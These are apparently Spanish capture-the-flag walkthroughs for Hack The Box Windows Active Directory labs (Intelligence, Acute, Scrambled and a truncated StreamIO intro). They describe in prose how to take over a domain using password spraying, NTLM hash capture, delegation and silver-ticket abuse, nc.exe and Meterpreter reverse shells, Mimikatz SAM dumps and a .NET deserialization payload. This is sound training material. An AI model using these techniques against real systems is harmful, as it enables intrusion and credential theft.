es una máquina Windows de dificultad media que muestra una serie de ataques comunes en un entorno de Active Directory. Después de recuperar documentos PDF internos almacenados en el servidor web (mediante la fuerza bruta de un esquema de nombres común) e inspeccionar sus contenidos y metadatos, que revelan una contraseña predeterminada y una lista de posibles usuarios de AD, la pulverización de contraseñas conduce al descubrimiento de una cuenta de usuario válida, lo que otorga un punto de apoyo inicial en el sistema.
Se descubre un script de PowerShell
programado que envía solicitudes autenticadas a servidores web en función de su nombre de host; al agregar un registro DNS personalizado, es posible forzar una solicitud que se puede interceptar para capturar el hash de un segundo usuario, que es fácil de descifrar. A este usuario se le permite leer la contraseña de una cuenta de servicio administrada por un grupo, que a su vez tiene acceso de delegación restringido al controlador de dominio, lo que da como resultado un shell con privilegios administrativos.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Intelligence.
Lanzaremos una serie de scripts básicos para intentar buscar vulnerabilidades en los puertos que hemos encotrado expuestos.
Comprobaremos el nombre del dominio con el cual nos enfrentamos a través del siguiente comando.
Procederemos a añadir la entrada en nuestro archivo /etc/hosts
Moveremos los 2 PDFs descargados a nuestro directorio actual de trabajo y procederemos a comprobar que disponemos de los archivos.
A través de la herramienta de exiftool analizaremos los 2 PDFs que disponemos en busca de metadatos. Comprobamos que en los 2 archivos aparece un creador diferente, lo cual parece ser nombres de usuario.
Hemos visto que los documentos PDF que disponíamos, seguían el mismo formato de nombre de archivo (YYYY-MM-DD-upload.pd).
Por lo tanto, pensamos que podrían haber más PDFs en el sitio web que no aparecían visiblemente accesibles. Para comprobarlo, diseñamos un pequeño script en bash que itera a través de los años, meses y días realizando una descarga para cada combinación. Así, logramos descargar todos los PDFs disponibles que habían des del 2015 hasta el 2024.
Verificamos que se realizó la descarga de varios PDFs que no estaban visiblemente accesibles.
Procedimos a realizar con exiftool la extracción de los creadores de dichos PDFs para almecenar el resultado en "users.txt" de posibles usuarios que habíamos encontrado.
Como hemos verificado que Kerberos (Puerto 88) se encuentra expuesto, procedemos a realizar una enumeración de usuarios válidos de la lista que disponemos a través de la herramienta de kerbrute. Comprobamos que todos los usuarios que disponíamos de la extracción de los metadatos de los PDFs son válidos.
Debido que disponemos de una buena cantidad de usuarios válidos, probaremos de realizar un AS-REP Roasting Attack de usuarios que dispongan del (DONT_REQ_PREAUTH) de Kerberos.
En este caso, ninguno disponía de dicha configuración.
Procederemos a analizar todos los PDFs que habíamos extraído anteriormente en busca de contenido.
Para ello a través de un bucle while, procederemos a ir uno por uno para que se ejecute la herramienta de pdftotext y así disponer para cada uno el PDF pasado a texto.
Comprobando todos los contenidos de los PDFs, comprobamos que aparece uno un mensaje indicando a los usuarios cual es la contraseña por defecto que disponen cuando se crean la cuenta.
Teniendo la nueva contraseña, probaremos con crackmapexec de buscar con qué usuario podemos autenticarnos con dichas credenciales.
Nos encontramos que la usuaria "Tiffany.Molina" no realizó el cambio de contraseña y continua con la contraseña que veía por defecto.
Validaremos de nuevo solamente con el usuario y su respectiva contraseña y comprobamos que nos autentica correctamente.
Teniendo un usuario válido con sus credenciales, procederemos a intentar realizar un Kerberoast Attack, comprobamos que no obtenemos ningún TGS (Ticket Granting Service).
Procederemos a enumerar el LDAP ya que lo hemos encontrado expuesto. Procederemos con la herramienta de ldapdomaindump de exportar todo el contenido de LDAP en nuestra Kali.
Revisando los archivos que nos deja la herramienta, comprobamos que hay un equipo nombrado "svc@intelligent.htb" que como flag aparece "TRUSTED_TO_AUTH_FOR_DELEGATION", esto es muy interesante y nos podría servir de cara el futuro.
Procederemos a enumerar el SMB con las nuevas credenciales obtenidas y ver a qué recursos tiene acceso dicho usuario. Comprobamos que dispone de acceso al recurso "Users".
Con la herramienta de smbmap procederemos a comprobar el directorio de (Users/Tiffany.Molin/Desktop) y vemos que encontramos la flag de user.txt, la descargaremos con smbmap mismo.
Con smbclient procederemos a conectarnos al recurso compartido "IT" y nos descargaremos todo el contenido del recurso.
Hemos encontrado un script en un recurso SMB que realiza comprobaciones del estado de servidores web registrados en Active Directory. El script itera sobre los registros DNS que comienzan con "web" y, si no recibe un estado 200 de respuesta, envía un correo electrónico a "Ted Graves".
Para aprovechar una vulnerabilidad en el entorno de Active Directory, utilicé la herramienta dnstool.py para crear un registro DNS que redirige las solicitudes a mi dirección IP. Esto permite que, al verificar el estado del servidor web, se utilicen las credenciales del usuario que está definido en "UseDefaultCredentials".
Una vez añadido el registor DNS, procederemos con el siguiente punto.
Debido que el script se ejecuta cada 5 minutos y hemos realizado un registro DNS que empieza por "web", el script lo que hará es verificar el estado del servidor web que apunta a mi dirección IP, por lo tanto con responder capturaremos el HASH NTLMv2 del usuario que ejecute dicho script.
Comprobamos que obtenemos el hash NTLMv2 del usuario "Ted.Graves".
Con la herramienta de hashcat procederemos a crackear el hash para obtener la contraseña a través de un diccionaro. Comprobamos que ha encontrado la contraseña válida para el hash.
Con la herramienta de netexec procederemos a validar de que las credenciales para el usuario "Ted.Graves" son válidas y así también revisar los recursos compartidos SMB que tiene acceso, pero vemos que dispone de los mismos permisos que el anterior usuario, por lo tanto, descartamos volver a enumerar el SMB con estas credenciales.
Verificadas las nuevas credenciales, las guardaremos en nuestro archivo "credentials.txt".
Como no tenemos acceso a la máquina por terminal aún, procederemos a realizar la enumeración del AD con BloodHound para recopilar toda la información y así a través de BloodHound encontrar algún vector para escalar privilegios.
Marcaremos que tenemos el usuario "Ted.Graves" como "Ownes" ya que ya lo hemos comprometido.
Seleccionaremos al usuario y en el apartadod e "Node Info" le daremos a "Reachable High Value Targets" para ver posibles objetivos.
Comprobamos el siguiente esquema del usuario "Ted.Graves".
Comprobamos en BloodHound de que el usuario forma parte del grupo "ITSUPPORT", que a su vez dicho grupo tiene permisos de (ReadGMSAPassword).
Con este permiso sobre el equipo "SVC_INT", lo que nos permite es obtener la contraseña de la cuenta de servicio de dicho equipo.
BloodHound nos explica la manera de explotar este privilegio des de Linux a través de gMSADumper.py.
Procederemos a extraer la contraseña de la cuenta de servicio sobre el equipo mencionado. Para ello, utilizarmeos gMSADump.py.
Comprobamos que hemos obtenido el hash NTLM de la cuenta "svc_int"
En esta fase del ataque, aprovechamos la delegación no restringida que tiene el usuario SVC_INT$, que posee permisos de AllowedToDelegate sobre el controlador de dominio DC.LOCAL.HTB (este dato lo descubrimos en BloodHound). Esto significa que SVC_INT$ puede recibir y pasar credenciales de usuario a otros servicios, lo que se convierte en una vulnerabilidad que podemos explotar.
Primero, utilizamos el script gMSADumper.py para extraer el hash de la cuenta de servicio de SVC_INT$, que es esencial para obtener el Ticket Granting Ticket (TGT). Con este hash, podemos suplantar al usuario y solicitar tickets de acceso a otros servicios en el dominio.
Luego, lo que deberemos ejecutar es el comando de pywerview para obtener el Service Principal Name (SPN), que nos permitirá interactuar con el servicio web correspondiente. Esta información es crucial para la última etapa, donde utilizaremos getST.py.
Utilizaremos la herramienta de pywerview para obtener el SPN (Service Principal Name) al cual SVC_INT$ dispone del privilegio de AllowedToDelegate
Finalmente, al ejecutar getST.py con el SPN obtenido y el hash de SVC_INT$, podemos solicitar un ticket para impersonar a un usuario con privilegios más altos, como el administrador. De esta manera, aprovechamos la delegación no restringida para escalar privilegios y obtener acceso a recursos restringidos dentro del dominio.
Si tenemos problemas a la hora de lanzar la herramienta por la sincronización de nuestra hora con la del dc [KRB_AP_ERR_SKEW(Clock skew too great)], procederemos a ejecutar ntpdate -s 10.10.10.248
Comprobamos que ganamos acceso como usuario Administrator y obtenemos la flag de root.txt.
Acute
es una máquina Windows que se inicia con un sitio web en el puerto 443
. El certificado del sitio web revela un nombre de dominio atsserver.acute.local
. Al mirar el sitio web, se mencionan varios empleados y con esta información es posible construir una lista de posibles usuarios en la máquina remota. Al enumerar el sitio web, se revela un formulario con procedimientos relacionados con los recién llegados a la empresa. El formulario revela la contraseña predeterminada con la que se configuran inicialmente todas las cuentas. También revela un enlace para una sesión de Windows PowerShell Web Access
(PSWA). Al combinar toda la información disponible del proceso de enumeración, un atacante puede ingresar a una sesión de PowerShell como el usuario edavies
en Acute-PC01
.
Luego, se descubre que el usuario edavies
también está conectado mediante una sesión interactiva. Al espiar las acciones de edavie
, se puede recuperar la contraseña de texto sin cifrar del usuario imonks
para ATSSERVER
. El usuario imonks
se ejecuta bajo Just Enough Administration
(JEA) en ATSSERVER
, pero incluso con el conjunto de comandos limitado, un atacante puede modificar un script en ATSSERVER
para convertir a edavies
en administrador local en Acute-PC01
. Ahora que edavies
es un administrador local, se pueden recuperar HKLM\sam
y HKLM\system
del sistema para extraer los hashes de contraseñas de todos los usuarios. El hash del administrador resulta ser descifrable y la contraseña de texto sin cifrar se reutiliza para awallace
en ATSSERVER
. El usuario awallace
puede crear scripts BAT
en un directorio donde el usuario Lois
los ejecutará. Lois
tiene los derechos para agregar a imonks
al grupo site_admin
, que a su vez tiene acceso correcto al grupo Domain Admins
. Entonces, después de que imonks
se agrega al grupo site_admin
, puede agregarse al grupo Administradores de dominio
y adquirir privilegios administrativos.
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Acute.
Lanzaremos scripts de reconocimiento sobre el puerto encontrado y lo exportaremos en formato oN y oX.
Transformaremos el archivo XML obtenido en el resultado de nmap y lo transformaremos en un archivo HTML. Levantaremos un servidor HTTP con Python3.
Procederemos a añadir la entrada en nuestro archivo /etc/hosts
Verificaremos las tecnologías y frameworks que utiliza la página web a través de la herramienta de whatweb.
Revisando el contenido de la página web, nos encontramos un apartado de "About" en el cual aparecen los nombres de los miembros de la empresa, esto nos puede servir útil para intentar generar nombres de usuarios a través de las combinaciones de nombres.
Al abrir el documento recién descargado, verificamos que aparece bastante información que puede llegar a comprometer la seguridad de la información.
En una sección del documento, verificamos que nos aparece una contraseña por defecto 'Password1!'.
También verificaremos que nos aparece un hipervínculo sobre un enlace llamado "Remote".
Al acceder al enlace del documento Word, verificamos que se trata de un acceso a un PowerShell a través de la Web, nos pide usuario, contraseña y el nombre del equipo (hostname) al cual queremos conectarnos.
Nos guardaremos los nombres de los empleados que encontramos en la página web, a través de la herramienta de username-anarchy procederemos a generar un listado de usuarios con el formato (flast) que es muy común en Active Directory.
Por otro lado, para sacar el tema del nombre de la máquina, lo que realizaremos es revisar los propios metadatos del document Word, esto debido que a veces se muestra dónde se ha creado el Word desde los mismos metadatos del archivo.
En este caso, verificamos que nos aparece 'Created on Acute-PC01'.
Probaremos de autenticarnos en la PowerShell Web Access a través del usuario edavies, con la contraseña por defecto que encontramos en el Word y el nombre de la máquina.
Verificamos que hemos podido ganar acceso con el usuario a la PowerShell Web Access.
Al verificar en el equipo que nos encontramos. nos damos cuenta que se trata de un equipo y no del Domain Controller.
Revisando los directorios de la máquina Acute-PC01, verificamos que hay una ruta (C:\Utils) la cual es un directorio que no tiene el Windows Defender activo.
Enumerando el equipo, verificamos que el usuario edavies tiene una consola activa en estos momentos, lo cual nos hace pensar que el usuario está con una consola CMD/PowerShell activa.
El objetivo será monitorear el equipo de la víctima a través de capturas de pantalla, una utilidad que nos ofrece msfconsole.
El primer paso será realizar un binario de una Reverse Shell de Meterpreter a través de la herramienta msfvenom.
Una vez generado el payload de la Reverse Shell, procederemos a acceder a la consola interactiva de Metasploit.
Configuraremos la sesión de Metasploit para recibir la Reverse Shell. Levantaremos un servidor web con Python para compartir el binario del payload y desde la consola de PowerShell Web Access procederemos a transferirnos el binario al equipo Acute-PC01.
Iniciaremos el Metasploit para recibir la Reverse Shell y desde la consola de PowerShell Web Access ejecutaremos el binario y comprobaremos que recibimos correctamente la Reverse Shell en Metasploit.
Al acceder a la máquina, verificamos que el usuario edavies tiene bastantes procesos abiertos, lo cual nos afirma la teoría que está utilizando una consola en el equipo en estos momentos.
A través de la utilidad screenshot de Metasploit, procederemos a realizar capturas de pantalla del equpo.
Al revisar las capturas que hemos ido realizando, verificamos que el usuario está tratando de realizar una conexión al equipo ATSSERVER con las credenciales del usuario 'imonks'.
Desde la consola de PowerShell Web Access, procederemos a configurarnos las credenciales del usuario 'imonks' a través de PSCredential.
Una vez configurada las credenciales, procederemos a intentar ejecutar el comando 'whoami' en la máquina ATSSERVER mediante la configuración que hemos podido capturar en el punto anterior.
Verificamos que el comando ha sido ejecutado correctamente en el servidor y nos ha devuelto correctamente el output. lo cual indica que las credenciales son válidas.
Al revisar el directorio de Desktop del usuario que disponemos, verificamos que hemos podido comprobar la flag de user.txt.
En la misma carpeta de Desktop del usuario que disponemos actualmente (imonks), verificamos que nos aparece un archivo llamado wm.ps1 que contenía el siguiente contenido.
Se trata de un Script en PowerShell que utiliza las credenciales del usuario jmorgan a través de un SecureString y lo que realzia es ejecutar el comando (Get-Volume) en el equipo que nos encontramos actualmente (Acute-PC01) haciendo uso de esas credenciales.
El objetivo será intentar modificar el script para que ejecute otra instrucción en vez de la indicada (Get-Volume), en este caso, haremos que ejecute un "nc" para entablarnos una Reverse Shell a nuestro equipo. Subiremos el binario de nc.exe en (C:\Utils).
Lo primero será reemplazar a través de la función -Replace el contenido y a través de Set-Content trataremos de sobreescribir el archivo existente por el contenido nuevo modificado.
Verificamos que se ha sobreescrito correctamente el script, y ahora mismo lo que realiza este script es ejecutar la el binario de nc.exe que hemos subido anteriormente en (C:\Utils\nc.exe).
Procederemos a ejecutar el script de PowerShell modificado y desde una consola de nuestra Kali nos pondremos en escucha por el puerto especificado para recibir la Reverse Shell.
Verificaremos que hemos logrado obtener la Reverse Shell y nos encontramos con el usuario jmorgan en el equipo Acute-PC01. Verificamos que el usuario es Administrador local del equipo.
Debido que disponemos de permisos de Administrador sobre el equipo, una de las diversas cosas que poemos realizar en la máquina es dumpear la SAM para obtener los hashes NTLM de los usuarios locales del equipo.
Para ello exportaremos los archivos SAM y SYSTEM a través de "reg save".
Una vez obtengamos la copia de los archivos SAM/SYSTEM procederemos a utilizar la herramienta de Mimikatz para extraer los hashes de la SAM desde la propia máquina víctima.
Para ello, procederemos a pasarnos el binario de Mimikatz desde nuestra Kali al equipo comprometido.
Al ejecutar el Mimikatz procederemos a hacer el DUMP de la SAM y verificaremos que hemos logrado obtener los hashes NTLM de los usuarios locales del equipo Acute-PC01.
Nos guardaremos en un achivo el hash NTLM del usuario 'Administrator'.
Procederemos a intentar crackear el hash NTLM obtenido del usuario 'Administrator' con el objetivo de obtener la contraseña en texto plano y posteriormente revisar si algún usuario reutiliza estas credenciales.
Para ello, a través de hashcat intentaremos crackear el hash. En este caso, logra crackearlo correctamente.
De la lista de usuarios que disponemos, solamente nos quedan 3 usuarios los cuales no disponemos de sus credenciales de acceso. Por lo tanto, deberemos intentar validar con alguno de esos tres usuarios si las credenciales que disponemos se reutilizan en alguno de ellos.
Desde la PowerShell Web Access crearemos un nuevo objeto con las credenciales del usuario que probaremos: awallace, verificaremos que son correctas debido que se logra ejecutar el comando 'whoami' en el equipo ATSSERVER. Por lo tanto, este usuario reutiliza las credenciales obtenidas anteriormente.
Dado que ya disponemos de unas nuevas credenciales del usuario awallace, procederemos a enumerar los programas que dispone el equipo ATSSERVER. Entre los cuales aparece una carpeta sospechosa llamada "keepmeon".
Revisando el directorio mencionado, verificamos que se encuentra un archivo (keepmeon.bat) que se trata de un script que se ejecuta cada 5 minutos sobre cualquier archivo que finalice por (.bat).
Este script es ejecutado solamente por el usuario Lois.
Si volvemos a revisar el documento Word que nos descargamos al principio, en una de las secciones indica que el único usuario autorizado para modificar la membresía de grupos sobre los usuarios.
Además, aparece un mensaje mencionando un grupo llamado "Site Admin", lo cual nos parece algo extraño ya que no es un grupo común de AD.
Verificaremos los grupos existentes en el dominio, para verificar que se encuentre el mencionado en el documento. Efectivamente existe un grupo llamado "Site_Admin".
Al verificar el grupo "Site_Admin", comprobamos que aparece un comentario sobre dicho grupo mencionando que este grupo solamente se utiliza en casos de emergencia y forma parte del grupo "Domain Admins".
Por lo tanto, nos encontramos con el siguiente escenario:
Lois, tiene permisos para modificar la membresía de grupos sobre usuarios.
El script 'keepmeon.bat' es ejecutado por el usuario Lois cada 5 minutos
Este script itera por cualquier archivo que acabe en extensión .bat en el directorio actual.
Disponemos de las credenciales del usuario 'Awallace'.
Con este escenario presente, la idea será crear un archivo .bat que trate de añadir al usuario awallace al grupo Site_Admin, este script .bat se ejecutará cada 5 minutos por el usuario Lois que tiene permisos para añadirnos a grupos.
Por lo tanto, si todo es correcto y funciona al ejecutarse ese script automatizado, Lois nos añadirá al grupo mencionado teniendo acceso completo al Domain Admins.
El primer paso será crear el archivo .bat que nos añada al grupo mencionado.
Verificamos que antes de que sea ejecutado el script, el usuario que disponemos awallace dispone de los siguientes grupos de acceso.
Al ejecutarse el script pasado los 5 minutos, comprobamos que hemos sido añadidos al grupo "Site_Admin", y como este grupo forma parte del grupo "Domain Admins", también disponemos de privilegios de Domain Admins.
Verificamos que tenemos acceso para comprobar el contenido de la flag de root.txt.
Para poder ganar acceso a la máquina para disponer de control remoto en una Shell y no a través de este método de PowerShell Web Acces mediante ScripBlock, lo que realizaremos es lo siguiente:
Nos compartiremos el binario de nc.exe desde nuestra Kali y lo descargaremos en ATSSERVER mediante "wget".
Una vez lo tengamos en el equipo víctima, procederemos a ejecutar para entablarnos una Reverse Shell a nuestra Kali.
Verificamos que estando nosotros en escucha por el puerto especificado, hemos ganado acceso al equipo ATSSERVER mediante la Reverse Shell con nc.exe.
Scrambled
es una máquina mediana de Windows Active Directory. Al enumerar el sitio web alojado en la máquina remota, un atacante potencial puede deducir las credenciales del usuario ksimpson
. En el sitio web, también se indica que la autenticación NTLM
está deshabilitada, lo que significa que se debe utilizar la autenticación Kerberos. Al acceder al recurso compartido Public
con las credenciales de ksimpson
, un archivo PDF indica que un atacante recuperó las credenciales de una base de datos SQL.
Esto es un indicio de que hay un servicio SQL
ejecutándose en la máquina remota. Al enumerar las cuentas de usuario normales, se descubre que la cuenta sqlsvc
tiene un Service Principal Name
(SPN) asociado a ella. Un atacante puede usar esta información para realizar un ataque que se conoce como kerberoasting
y obtener el hash de SqlSvc
. Después de descifrar el hash y adquirir las credenciales para la cuenta SqlSvc
, un atacante puede realizar un ataque de ticket plateado
para falsificar un ticket y hacerse pasar por el usuario Administrador
en el servicio MSSQL remoto. La enumeración de la base de datos revela las credenciales del usuario MiscSvc
, que se pueden usar para ejecutar código en la máquina remota mediante la comunicación remota de PowerShell.
La enumeración del sistema como el nuevo usuario revela una aplicación .NET
, que está escuchando en el puerto 4411
. La ingeniería inversa de la aplicación revela que está utilizando la clase insegura Binary Formatter
para transmitir datos, lo que permite al atacante cargar su propia carga útil y obtener la ejecución del código como NT AUTHORITY\SYSTEM
.
Proceremos a realizar un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Scrambled.
Comprobaremos el nombre del dominio con el cual nos enfrentamos a través del siguiente comando.
Procederemos a añadir la entrada en nuestro archivo /etc/hosts
Esto nos sirve para saber que no podremos autenticarnos por NTLM para explotar vulnerabiliades.
Más adelante, procederemos a verificar si este usuario es válido o no.
Esto es una buena pista que podemos sacar para intentar enumerar credenciales válidas si encontramos usuarios, ya que será probable que algún usuario haya realizado el cambio de contraseña siguiendo las instrucciones del sitio web y no ha cambiado nuevamente la contraseña, por lo tanto, sigue con la contraseña que es el mismo nombre de usuario.
Como aún no tenemos ningún usuario válido, procederemos primero a enumerar a ver si existe el usuario "ksimpson" que fue el que encontramos enumerando la página web.
Finalmente comprobamos que si que existe el usuario mencionado en el AD.
Procederemos a realizar la enumeración nuevamente con Kerbrute, pero esta vez pasándole un diccionario completo especializado para Kerberos sobre posibles nombres de usuario con la inicial y apellidos (A-ZSurnames). Comprobamos que conseguimos un buen listado de usuarios válidos.
Como tenemos una cierta cantidad de usuarios válidos en el AD, podríamos intentar realizar un ASRepRoast Attack para verificar si alguno tiene la configuración (DONT_REQ_PREAUTH) en Kerberos. Esto nos permitiría obtener un TGT (Ticket Granting Ticket) y explorar posibles accesos.
Guardaremos los usuarios enumerados en un archivo "users" y procederemos a realizar el ataque, finalmente comprobamos que ninguno de los usuarios cumple el requisito, por lo tanto no podemos realizar el ataque.
Recordando la página de "Reset Passwords" que enumeramos del sitio web, mencionaba que el equipo de IT restablecía la contraseña utilizando el mismo nombre de usuario.
En este punto, lo que podemos realizar es un ataque de fuerza Bruta para ver si uno de ellos tiene de contraseña el mismo nombre de usuario. En este caso del listado de usuarios, el usuario "ksimpson" es el que dispone como contraseña el mismo nombre de usuario. Por lo tanto, disponemos de unas credenciales válidas del dominio.
Crearemos un archivo llamado "credentials.txt" en el cual iremos almacenando las credenciales válidas que vayamos obteniendo.
Contando ya con credenciales válidas de un usuario en el dominio, procederemos a realizar un ataque Kerberoasting para intentar obtener un TGS (Ticket Granting Service) de alguna cuenta de servicio del dominio.
En este caso, obtenemos un mensaje que indica: "Probably NTLM is disabled
". Esto ya lo sabíamos previamente por el anuncio en el sitio web cuando lo enumeramos.
Dado que confirmamos que la autenticación NTLM está deshabilitada, ahora verificaremos si podemos obtener información utilizando autenticación Kerberos (-k), especificando el (-dc-host), que en este caso sería dc1-scrm.local. Al ejecutar el comando, observamos que logramos obtener los SPN (Service Principal Name) y el nombre de una cuenta que parece ser de servicio: sqlsvc.
Confirmado que a través de la autenticación por Kerberos obtenemos información, procederemos a realizar el ataque de Kerberoasting para intentar obtener un TGS (Ticket Granting Service) de alguna cuenta de servicio en el dominio.
Verificamos que obtenemos el hash krb5 del usuario "sqlsvc", que habíamos enumerado en el paso anterior.
Procederemos a guardarnos el hash en un archivo nombrado "hash.txt".
Procederemos a crackear el hash con la herramienta de Hashcat para intentar descubrir la contraseña correspondiente al hash krb5 y así obtener la contraseña en texto plano del usuario "sqlsvc"
Verificamos que Hashcat ha logrado crackear el hash, revelando que la contraseña es: Pegasus60
Procederemos a guardar estas nuevas credenciales en nuestro archivo "credentials.txt", además indicaremos el SPN (Service Principal Name) al cual corresponde esta cuenta de servicio.
"Dado que contamos con las credenciales de la cuenta de servicio que ejecuta MSSQL y hemos verificado que el servicio está expuesto en el puerto 1433, intentaremos autenticarnos en el servicio MSSQL mediante Kerberos, ya que la autenticación por NTLM está deshabilitada.
Al probar, vemos el mensaje: Login failed for user 'sqlsvc', y al intentar con el parámetro -windows-auth
, se confirman los errores de NTLM."
Generaremos un TGT (Ticket Granting Ticket) para los usuarios sqlsvc y ksimpson, ya que conocemos sus credenciales. Luego intentaremos conectarnos al servicio MSSQL utilizando esos TGT mediante la variable KRB5CCNAME y el cliente mssqlclient.py con la autenticación Kerberos (-k).
A pesar de estos intentos, no logramos establecer la conexión.
Debido que no podemos autenticarnos con los usuarios que hemos encontrado, podemos plantearnos el siguiente ataque: Silver Ticket Attack
Pensando que el usuario 'sqlsvc' es el que corre el servicio de MSSQL, podemos plantearnos realizar el ataque mencionado. Debido que para ejecutar el ataque debremos de disponer de los tres puntos siguientes:
Hash NTLM -> (lo conseguiremos a través de un convertidor de HASH NTLM, ya que disponemos de la contraseña en texto plano)
SPN (Service Principal Name) -> (lo disponemos de cuando realizamos el Kerberoasting [GetUserSPNs] )
Domain-Site -> (lo conseguiremos a través de getPAC.py)
Teniendo todo estos datos, tenemos capacidad de generar un TGS (Ticket Granting Service) de cualquier usuario del dominio.
Por lo tanto, podemos generar un TGS al usuario Administrador para llegarnos a conectar al AP (Application Server) que corre el servicio de MSSQL con el TGS obtenido, es decir, impersonando al usuario "Administrator".
Comprobamos que hemos generado el hash NTLM de la contraseña "Pegasus60" que correspondía a la de la cuenta de servicio 'sqlsvc'.+
Para obtener el Domain SID que lo necesitaremos para la ejecución del ataque, podemos hacer uso de getPAC.py para obtener el dato.
Guardaremos todos los datos que necesitamos en nuestor archivo "credentials.txt"
Utilizaremos la herramienta ticketer.py para ejecutar el Silver Ticket Attack, generando un TGS (Ticket Granting Service) que represente al usuario Administrator. Con este ticket, nos haremos pasar por Administrator al acceder al servicio MSSQL.
Con el tiquet TGS (Ticket Granting Service) procederemos a conectarnos a través de la variable KRB5CCNAME para indicarle el tiquet que hemos generado del usuario Administrator y con la herramienta de mssqlclient.py procederemos a autenticarnos al MSSQL service mediante Kerberos.
Comprobamos que hemos podido acceder al servicio MSSQL como usuario Administrator.
Una vez obtenido el acceso, procederemos a configurar el MSSQL para habilitar el "xp_cmdshell" que es un componente para la ejecución de comandos, para así obtener un RCE (Remote Code Execution).
Comprobaremos que funciona correctamente el RCE.
En nuestra Kali nos copiaremos el binario de "nc.exe" a nuestro directorio actual de trabajo y levantaremos un servidor web para compartir el binario con el MSSQL que tenemos acceso.
Des del MSSQL procederemos descargarnos el "nc.exe" que estamos compartiendo des de nuestra Kali y lo almacenaremos en el directorio "C:\Temp".
En nuestra Kali, nos pondremos en escucha por el puerto 443.
Des de MSSQL procederemos a otorgarnos una Reverse Shell a nuestra Kali. Comprobamos que ganamos acceso al equipo, intentamos buscar la flag de "user.txt" pero no la localizamos.
Probamos de ejecutar el binario para impersonar al usuario "Administrator" y que dicho usuario ejecute una cmd para que nos envíe una Reverse Shell a nuestra Kali, pero nos da problemas.
Esto seguramente por el CSID ya que nos encontramos en un Windows Server 2019 y dan problemas. Descartamos esta opción finalmente, probamos con PrintSpoofer y mismo resultado.
Volveremos al MSSQL service y procederemos a enumerar las BBDD, tablas y columnas y datos que existan. Comprobamos los nombres de las BBDD que existen.
Procederemos a listar las tablas de la BBDD "ScrambleHR".
Utilizaremos la BBDD mencionada y comprobarmeos todos los datos de la tabla "UserImport". Nos damos cuenta que aparece un usuario nombrado "miscsvc" y aparece su contraseña en texto plano.
Volviendo a la terminal que habíamos ganado acceso anteriormente, probaremos de realizar un RCE para que sea ejecutado con el usuario encontrado para otorgarnos una Reverse Shell y ganar acceso al equipo con el usuario mencionado.
Primero de todo, crearemos el objeto en cuestión con su nombre de usuario y contraseña.
Verificaremos que actualmente somos el usuario "sqlsvc". Realizaremos el comando Invoke-Command con las credenciales almacenadas en la variable y a través de un ScriptBlock pasándole como comando "whoami" nos devuelve que somos el usuario "miscsvc", por lo tanto, comprobamos que podemos ejecutar comandos a nombre de dicho usuario.
En este punto, nos pondremos en escucha por el puerto 443 y a través del comando Invoke-Command y el Script-Block utilizando las credenciales almacenadas del usuario "miscsvc" nos otorgaremos una Reverse Shell.
Comprobamos que ganamos acceso al equipo como usuario "miscsvc" y localizamos la flag de user.txt
Teniendo las credenciales del nuevo usuario, probaremos de conectarnos al SMB utilizando la autenticación de Kerberos (-k) debido que el NTLM está deshabilitado.
Nos conectaremos utilizando la herramienta de smbclient.py. Enumeramos el SMB y nos descargaremos los archivos "ScrambleClient.exe" y "ScrambleLib.dll".
Nos pasaremos los dos archivos a nuestra MV de Windows 10 para analizar el binario. Ejecutando el binario comprobamos que tiene la siguiente interfaz, nos conectamos al server "dc1.scrm.local" y dejamos el puerto que viene ya por defecto. También le daremos para habilitar el debug.
Probaremos de iniciar sesión con las credenciales encontradas, pero no ganamos acceso.
Procederemos a analizar el binario y el .dll a través de la herramienta DNSpy. Comprobando el .dll en el módulo de "SalesOrder" comprobamos que se está realizando serialización y deserialización. Esto puede ser un vector de ataque que podremos intentar explotar más adelante, debido que si está mal configuardo podemos realizar un Deserialization Attack para inyectar código malicioso.
Revisando el módulo de (ScrambleNetClient) comprobamos que hay una especio de backdoor que indica que a través del usuario "scrmdev" sin otorgarle contraseña se puede acceder a la aplicación.
Probaremos de iniciar sesión con el usuario "scrmdev" sin otorgarle credenciales.
Probaremos de enviar una nueva orden.
Comprobaremos que se ha enviado correctamente la orden al servidor.
Fijándonos en el .txt que genera el debug, nos damos cuenta que lo que se envía al servidor es el comando "UPLOAD_ORDER" con los datos serializados en Base64. Esto podemos intentar revisar si no está correctamente sanitizado para ejecutar código malicioso en el servidor.
Procederemos a ejecutar la herramienta para crearnos el payload, especificando que el formato de serialización será BinaryFormatter (este dato lo sabemos de cuando revisamos con DNSpy aparecía que el dato se encontraba en dicho formato), seguidamente que nos devuelva el output del payload encodeado en Base64 y que el comando será una Reverse Shell a nuestra Kali utilizando el Netcat que dejamos anteriormente cuando ganamos acceso al equipo por primera vez.
El contenido del payload nos lo guardaremos en un archivo .txt
Des de nuestra Kali, procedermos a crearnos un servidor SMB que comparta un recurso compartido nombrado "smbFolder" del directorio actual de trabajo. Este paso es esencial para compartiros el archivo entre Windows y nuestra Kali.
Configuraremos el servidor SMB especificando unas credenciales y habilitaremos el soporte a SMB2.
Des de la MV de Windows, mapearemos el recurso SMB asignándole la unidad X y accederemos con las credenciales. Una vez mapeado el recurso, copiaremos el archivo guardado "command.txt" a la unidad mapeada para así obtener el archivo en nuestra Kali.
En nuestra Kali, comprobaremos que disponemos del archivo "command.txt" que nos hemos compartido y del contenido que no haya sido alterado.
En una terminal, nos pondremos en escucha con nc por el puerto 443 que es el que configuramos la Reverse Shell en el payload.
Con nc nos conectaremos al equipo de Scrambled (10.10.11.168) por el puerto 4411 que es donde se conecta la aplicación que ejecuta el programa y tramita la deserialización y serialización del dato. Le pasaremos el comando "UPLOAD_ORDER" que es la orden que espera recibir el servidor seguidamente del payload serializado.
Comprobamos que ganamos acceso al equipo como usuario "Administrator" que es el que ejecuta estos comandos en el servidor de la aplicación comprometida. Esto se ha logrado debido que no está bien sanitizado y el servidor al enviar el dato serializado, al deserializarlo no valida correctamente la entrada que envía el usuario, por lo tanto logramos obtener una Reverse Shell de este método.
Comprobamos la flag de root.txt.
StreamIO
es una máquina mediana que cubre la enumeración de subdominios que conduce a una inyección SQL
para recuperar las credenciales de usuario almacenadas, que se descifran para obtener acceso a un panel de administración. El panel de administración es vulnerable a LFI
, lo que nos permite recuperar el código fuente de las páginas de administración y conduce a la identificación de una vulnerabilidad de inclusión de archivos remotos, cuyo abuso nos permite obtener acceso al sistema.
Después del shell inicial, aprovechamos la utilidad de línea de comandos SQLCMD
